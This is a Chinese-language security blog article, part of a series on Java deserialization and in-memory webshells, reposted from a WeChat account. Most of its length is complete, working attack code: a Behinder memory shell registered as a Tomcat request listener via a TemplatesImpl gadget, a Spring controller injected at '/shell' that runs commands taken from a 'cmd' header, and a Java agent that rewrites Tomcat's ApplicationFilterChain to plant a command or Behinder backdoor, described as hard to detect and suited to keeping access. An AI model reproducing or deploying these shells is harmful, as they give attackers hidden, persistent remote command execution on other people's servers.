十一、 结合shiro
shirodemo地址
https://github.com/phith0n/JavaThings/tree/master/shirodemo
shiro有个很大的问题在于cookie太长会报错,当然这个是按整个header算的,删除一些不必要的可以帮我们节约长度。前面tomcat8的Listener内存马最短,可以打入内存shell。这里用的是CB链。
突破header长度有两种办法,一种是修改AbstractHttp11Protocol类中的maxHttpHeaderSize属性,另一种是POST二次加载。可参考以下文章:
https://mp.weixin.qq.com/s/5iYyRGnlOEEIJmW1DqAeXw
https://www.cnblogs.com/zpchcbd/p/15167571.html
十二、 冰蝎内存马
做好兼容性,将回显逻辑改成冰蝎马。
package test;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardHost;
public class TemplatesImplTomcat6789Behinder extends AbstractTranslet implements ServletRequestListener{
String serverNameMB;
public TemplatesImplTomcat6789Behinder() throws Exception {
setMB();
ThreadGroup group = Thread.currentThread().getThreadGroup();
Thread[] threads = (Thread[]) getFieldValue(group, "threads");
for(int i = 0; i < threads.length; i++) {
try{
Thread t = threads[i];
if (t == null) continue;
String str = t.getName();
if (str.contains("exec") || !str.contains("http")) continue;
Object obj = getFieldValue(t, "target");
if (!(obj instanceof Runnable)) continue;
obj = getFieldValue(obj, "this$0");
obj = getFieldValue(obj, "handler");
obj = getFieldValue(obj, "proto");
obj = getFieldValue(obj, "adapter");
obj = getFieldValue(obj, "connector");
obj = getFieldValue(obj, "service");
try {
obj = getFieldValue(obj, "engine");
}catch (Exception e) {
obj = getFieldValue(obj, "container");
}
HashMap children = (HashMap) getFieldValue(obj, "children");
StandardHost standardHost = (StandardHost) children.get(serverNameMB);
if (standardHost == null) {
standardHost = (StandardHost) children.get("localhost");
}
children = (HashMap) getFieldValue(standardHost, "children");
Iterator iterator = children.keySet().iterator();
StandardContext standardContext = (StandardContext) children.get("");
try {
StandardContext.class.getMethod("addApplicationEventListener", String.class).invoke(standardContext, this);
//standardContext.addApplicationEventListener(this);
}catch (Exception e) {
Object[] objarray = standardContext.getApplicationEventListeners();
List list1 = java.util.Arrays.asList(objarray);
List list2 = new java.util.ArrayList();
list2.add(this);
list2.addAll(list1);
objarray = list2.toArray();
standardContext.setApplicationEventListeners(objarray);
}
break;
}catch(Exception e){
continue;
}
}
}
public void requestDestroyed(ServletRequestEvent sre) {
}
private void setMB() throws Exception {
boolean flag = false;
ThreadGroup group = Thread.currentThread().getThreadGroup();
Thread[] threads = (Thread[]) getFieldValue(group, "threads");
for(int i = 0; i < threads.length; i++) {
try{
if (flag) break;
Thread t = threads[i];
if (t == null) continue;
String str = t.getName();
if (str.contains("exec") || !str.contains("http")) continue;
Object obj = getFieldValue(t, "target");
if (!(obj instanceof Runnable)) continue;
obj = getFieldValue(obj, "this$0");
obj = getFieldValue(obj, "handler");
obj = getFieldValue(obj, "global");
ArrayList<?> processors = (ArrayList<?>) getFieldValue(obj, "processors");
for(int j = 0; j < processors.size(); ++j) {
Object processor = processors.get(j);
Object req = getFieldValue(processor, "req");
Object serverPort = getFieldValue(req, "serverPort");
if (serverPort.equals(-1)) continue;
if (flag) break;
serverNameMB = (String) getFieldValue(req, "serverNameMB").toString();
if(serverNameMB != null) {
flag = true;
}
}
}catch(Exception e){
continue;
}
}
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
try {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
} catch (Exception e) {
return getFieldValue(obj, obj.getClass(), fieldName);
}
}
public static Object getFieldValue(Object obj, Class<?> clazz, String fieldName) throws Exception {
Field field;
clazz = clazz.getSuperclass();
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
} catch (Exception e) {
return getFieldValue(obj, clazz, fieldName);
}
}
public void requestInitialized(ServletRequestEvent sre) {
//System.out.println("ok");
Request request;
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
try {
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
request = (Request)requestF.get(req);
} catch (Exception e) {
request = (Request) req;
}
Response response = request.getResponse();
try {
HashMap pageContext = new HashMap();
HttpSession session = request.getSession();
pageContext.put("request", request);
pageContext.put("response", response);
pageContext.put("session", session);
String payload = request.getReader().readLine();
String k = "e45e329feb5d925b"; // rebeyond
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] evilclass_byte = c.doFinal(base64_decode(payload));
Class evilclass = (Class) method.invoke(Thread.currentThread().getContextClassLoader(), evilclass_byte, 0, evilclass_byte.length);
evilclass.newInstance().equals(pageContext);
} catch (Exception e) {
//e.printStackTrace();
}
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
public byte[] base64_decode(String string) throws Exception {
byte[] bytes;
try {
try {
Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
bytes = (byte[]) Class.forName("java.util.Base64$Decoder").getMethod("decode",String.class).invoke(decoder, string);
} catch (Exception e) {
Object decoder = Class.forName("java.util.Base64").getMethod("getMimeDecoder").invoke(null);
bytes = (byte[]) Class.forName("java.util.Base64$Decoder").getMethod("decode",String.class).invoke(decoder, string);
}
} catch (Exception e) {
bytes = (byte[]) Class.forName("sun.misc.BASE64Decoder").getMethod("decodeBuffer",String.class).invoke(Class.forName("sun.misc.BASE64Decoder").newInstance(), string);
}
return bytes;
}
}
十三、 springboot
springboot内置tomcat,回显是兼容的,写个demo
@RequestMapping(value = "/test", method = RequestMethod.POST)
public String test(String base64) {
if (base64 != null) {
byte[] bs = Base64.getMimeDecoder().decode(base64);
ByteArrayInputStream bais = new ByteArrayInputStream(bs);
ObjectInputStream ois;
try {
ois = new ObjectInputStream(bais);
try {
ois.readObject();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
} catch (IOException e) {
e.printStackTrace();
}
}
return "反序列化成功";
}
但内存马不兼容,需要动态注入controller达到内存马目的,依赖spring-webmvc-4.3.25.RELEASE.jar/spring-web-4.3.25.RELEASE.jar/spring-context-4.3.25.RELEASE.jar/spring-beans-4.3.25.RELEASE.jar/spring-core-4.3.25.RELEASE.jar,参考
https://xz.aliyun.com/t/10467
package test;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
importorg.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Method;
publicclassTemplatesImplSpringechoController extends AbstractTranslet{
public TemplatesImplSpringechoController() throws Exception {
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中test的Method 对象
Method method2 = TemplatesImplSpringechoController.class.getMethod("test");
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环
TemplatesImplSpringechoController injectToController = new TemplatesImplSpringechoController("aaa");
mappingHandlerMapping.registerMapping(info, injectToController, method2);
}
// 第二个构造函数
public TemplatesImplSpringechoController(String aaa) {}
// controller指定的处理方法
publicvoid test() throws IOException{
// 获取request和response对象
HttpServletRequest request = ((ServletRequestAttributes)(RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes)(RequestContextHolder.currentRequestAttributes())).getResponse();
//exec
try {
String arg0 = request.getHeader("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
java.lang.ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = newjava.lang.ProcessBuilder(newString[]{"cmd.exe", "/c", arg0});
}else{
p = newjava.lang.ProcessBuilder(newString[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = newjava.util.Scanner(p.start().getInputStream()).useDelimiter("\A");
o = c.hasNext() ? c.next():o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
//当请求没有携带指定的参数(code)时,返回 404 错误
response.sendError(404);
}
}catch (Exception e){}
}
@Override
publicvoidtransform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
publicvoidtransform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[]handlers) throws TransletException {
}
}
十四、 java agent
Java agent为当前热门的内存shell,其原理是利用java自带的hook接口进行类的动态修改。
我们先做一个简单的每隔五秒打印的jar包。
package javaagent;
public class MainforRun {
public static void main(String[] args) throws Exception{
while (true){
new Peoples().say();
Thread.sleep(5000);
}
}
}
package javaagent;
public class Peoples {
public void say(){
System.out.println("hello");
}
}
编译为jar包,以MainforRun.main()运行。
java -jar Peoples.jar
此时另起一个cmd执行jps,可看见对应pid。
那么我们对其进行插桩,依赖javassist-3.21.0-GA.jar和tools.jar
package javaagent;
import com.sun.tools.attach.VirtualMachine;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Attachthings {
public static void main(String[] args) throws Exception{
String pid = getjarpid().trim();
VirtualMachine vm = VirtualMachine.attach(pid);
String path = System.getProperty("java.class.path");
if (args.length == 1) {
path = args[0];
}
System.out.println(path);
vm.loadAgent(path);
}
private static String getjarpid() throws Exception{
Process ps = Runtime.getRuntime().exec("jps");
InputStream is = ps.getInputStream();
InputStreamReader isr = new InputStreamReader(is);
BufferedReader bis = new BufferedReader(isr);
String line;
StringBuilder sb = new StringBuilder();
String result = null;
while((line=bis.readLine())!=null){
sb.append(line+";");
}
String [] xx= sb.toString().split(";");
for (String x : xx){
if (x.contains("jar"))
{
result=x.substring(0,x.length()-3);
}
}
System.out.println("pid: "+result);
return result;
}
}
这里path可以直接指定agent jar包,然后在idea中执行,也可以生成Attachthings攻击包。为了省事,我们将攻击和agent合在一起。agent jar包构造如下。
package javaagent;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
public class Agentthing {
public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {
inst.addTransformer(new PeoplesTransformer(), true);
inst.retransformClasses(new Class[] { Peoples.class });
}
}
package javaagent;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;
public class PeoplesTransformer implements ClassFileTransformer {
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
if(!className.startsWith("javaagent/Peoples"))
{
return classfileBuffer;
}
try{
ClassPool cp = ClassPool.getDefault();
ClassClassPath classPath = new ClassClassPath(classBeingRedefined);
cp.insertClassPath(classPath);
CtClass cc = cp.get("javaagent.Peoples");
CtMethod m = cc.getDeclaredMethod("say");
m.addLocalVariable("elapsedTime", CtClass.longType);
m.insertBefore("System.out.println("agent");");
byte[] byteCode = cc.toBytecode();
cc.detach();
return byteCode;
}
catch (Exception e){
e.printStackTrace();
System.out.println("falied change");
return null;
}
}
}
然后生成Agent jar包,替换它的MANIFEST.MF如下
Manifest-Version: 1.0
Main-Class: javaagent.Attachthings
Agent-Class: javaagent.Agentthing
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Can-Set-Native-Method-Prefix: true
Class-Path: .
java -jar Agent.jar
如上图所见,成功改写了Peoples类。
那么离agent写入tomcat内存马就剩一步之遥了,首先要找出一个tomcat处理请求的必经类,这个回顾之前Filter内存shell的分析可以得出,ApplicationFilterChain.internalDoFilter()为必经类。
那么,先修改Attachthings,tomcat的启动jar包为Bootstrap,注意这里使用绝对路径。
package tomcatagent;
import com.sun.tools.attach.VirtualMachine;
import java.io.*;
public class Attachthings {
public static void main(String[] args) throws Exception{
String pid = getpid().trim();
VirtualMachine vm = VirtualMachine.attach(pid);
String path = Attachthings.class.getProtectionDomain().getCodeSource().getLocation().getFile();
path = path.substring(1, path.length());
if (args.length == 1) {
path = args[0];
}
//path = "D:\Downloads\Tomcat.jar";
System.out.println("jar: "+path);
vm.loadAgent(path);
}
private static String getpid() throws Exception{
Process ps = Runtime.getRuntime().exec("jps");
InputStream is = ps.getInputStream();
InputStreamReader isr = new InputStreamReader(is);
BufferedReader bis = new BufferedReader(isr);
String line;
StringBuilder sb = new StringBuilder();
String result = null;
while((line=bis.readLine())!=null){
sb.append(line+";");
}
String [] xx= sb.toString().split(";");
for (String x : xx){
if (x.contains("Bootstrap")) //find tomcat
{
result=x.substring(0,x.length()-9);
}
}
System.out.println("pid: "+result);
return result;
}
}
然后是Agentthing
package tomcatagent;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
public class Agentthing {
public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {
inst.addTransformer(new Transformerthings(), true);
Class[] allclass = inst.getAllLoadedClasses();
for (Class cl : allclass){
if (cl.getName().equals("org.apache.catalina.core.ApplicationFilterChain"))
{
inst.retransformClasses(cl);
}
}
System.out.println("retransform success");
}
}
最后是重写类,这里为了直观,我们直接弹计算器。
package tomcatagent;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class Transformerthings implements ClassFileTransformer {
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
if (className.equals("org/apache/catalina/core/ApplicationFilterChain")){
try {
ClassPool classPool = ClassPool.getDefault();
ClassClassPath classPath = new ClassClassPath(className.getClass());
classPool.insertClassPath(classPath);
if (classBeingRedefined!=null)
{
ClassClassPath classPath1 = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(classPath1);
}
CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");
CtMethod ctMethod = ctClass.getDeclaredMethod("internalDoFilter");
ctMethod.addLocalVariable("elapsedTime", CtClass.longType);
String code = "Runtime.getRuntime().exec("calc");";
ctMethod.insertBefore(code);
byte [] classbytes =ctClass.toBytecode();
return classbytes;
} catch (Exception e) {
e.printStackTrace();
System.out.println("falied change");
}
}
return null;
}
}
还是一样,将Attach和Agent用同一个jar包,生成之后,改写MANIFEST.MF。
Manifest-Version: 1.0
Main-Class: tomcatagent.Attachthings
Agent-Class: tomcatagent.Agentthing
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Can-Set-Native-Method-Prefix: true
Class-Path: .
启动tomcat后执行java -jar Tomcat.jar,随便访问tomcat任意页面。
最后就是code部分改内存马,为了方便调试,我们从外部code.txt来读取内存马,并且写个保护检测,解决内存马只能打一次的问题,cmd内存马(code.txt)如下。
javax.servlet.http.HttpServletRequest request=$1;
javax.servlet.http.HttpServletResponse response = $2;
String cmd = request.getParameter("cmd");
String result = "";
try {
if (cmd != null && !cmd.isEmpty())
{
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
result = new String((new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\A").next().getBytes());
response.getWriter().print(result);
return;
}
}
catch(Exception e)
{
response.getWriter().print(e.getMessage());
}
Transformerthings
package tomcatagent;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.io.InputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.net.URL;
import java.security.ProtectionDomain;
public class Transformerthings implements ClassFileTransformer {
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
if (className.equals("org/apache/catalina/core/ApplicationFilterChain")){
try {
ClassPool classPool = ClassPool.getDefault();
ClassClassPath classPath = new ClassClassPath(className.getClass());
classPool.insertClassPath(classPath);
if (classBeingRedefined!=null)
{
ClassClassPath classPath1 = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(classPath1);
}
CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");
if (ctClass.isFrozen()){
ctClass.defrost();
}
CtMethod ctMethod = ctClass.getDeclaredMethod("internalDoFilter");
ctMethod.addLocalVariable("elapsedTime", CtClass.longType);
String url = "file:///D:/Downloads/code.txt";
InputStream input = new URL(url).openStream();
byte[] bs = new byte[input.available()];
input.read(bs);
String code = new String(bs);
ctMethod.insertBefore(code);
byte [] classbytes =ctClass.toBytecode();
return classbytes;
} catch (Exception e) {
e.printStackTrace();
System.out.println("falied change");
}
}
return null;
}
}
效果如下
冰蝎马可以直接用它自带的,稍微改一下即可。
javax.servlet.http.HttpServletRequest request=(javax.servlet.ServletRequest)$1;
javax.servlet.http.HttpServletResponse response = (javax.servlet.ServletResponse)$2;
javax.servlet.http.HttpSession session = request.getSession();
java.util.Map obj=new java.util.HashMap();
obj.put("request",request);
obj.put("response",response);
obj.put("session",session);
ClassLoader loader=this.getClass().getClassLoader();
if (request.getMethod().equals("POST"))
{
try
{
String k="e45e329feb5d925b";
session.putValue("u",k);
java.lang.ClassLoader systemLoader=java.lang.ClassLoader.getSystemClassLoader();
Class cipherCls=systemLoader.loadClass("javax.crypto.Cipher");
Object c=cipherCls.getDeclaredMethod("getInstance",new Class[]{String.class}).invoke((java.lang.Object)cipherCls,new Object[]{"AES"});
Object keyObj=systemLoader.loadClass("javax.crypto.spec.SecretKeySpec").getDeclaredConstructor(new Class[]{byte[].class,String.class}).newInstance(new Object[]{k.getBytes(),"AES"});;
java.lang.reflect.Method initMethod=cipherCls.getDeclaredMethod("init",new Class[]{int.class,systemLoader.loadClass("java.security.Key")});
initMethod.invoke(c,new Object[]{new Integer(2),keyObj});
java.lang.reflect.Method doFinalMethod=cipherCls.getDeclaredMethod("doFinal",new Class[]{byte[].class});
byte[] requestBody=null;
try {
Class Base64 = loader.loadClass("sun.misc.BASE64Decoder");
Object Decoder = Base64.newInstance();
requestBody=(byte[]) Decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(Decoder, new Object[]{request.getReader().readLine()});
} catch (Exception ex)
{
Class Base64 = loader.loadClass("java.util.Base64");
Object Decoder = Base64.getDeclaredMethod("getDecoder",new Class[0]).invoke(null, new Object[0]);
requestBody=(byte[])Decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(Decoder, new Object[]{request.getReader().readLine()});
}
byte[] buf=(byte[])doFinalMethod.invoke(c,new Object[]{requestBody});
java.lang.reflect.Method defineMethod=java.lang.ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{String.class,java.nio.ByteBuffer.class,java.security.ProtectionDomain.class});
defineMethod.setAccessible(true);
java.lang.reflect.Constructor constructor=java.security.SecureClassLoader.class.getDeclaredConstructor(new Class[]{java.lang.ClassLoader.class});
constructor.setAccessible(true);
java.lang.ClassLoader cl=(java.lang.ClassLoader)constructor.newInstance(new Object[]{loader});
java.lang.Class c=(java.lang.Class)defineMethod.invoke((java.lang.Object)cl,new Object[]{null,java.nio.ByteBuffer.wrap(buf),null});
c.newInstance().equals(obj);
}
catch(java.lang.Exception e)
{
e.printStackTrace();
}
catch(java.lang.Error error)
{
error.printStackTrace();
}
return;
}
agent马修改tomcat原生类更难被发现,需要用到同等技术进行查杀。但需要上传文件+命令执行,且有一定兼容性问题,较难和反序列化完美结合,一般仅作为权限维持。
原文始发于微信公众号(珂技知识分享):Java反序列化命令回显和内存shell(5)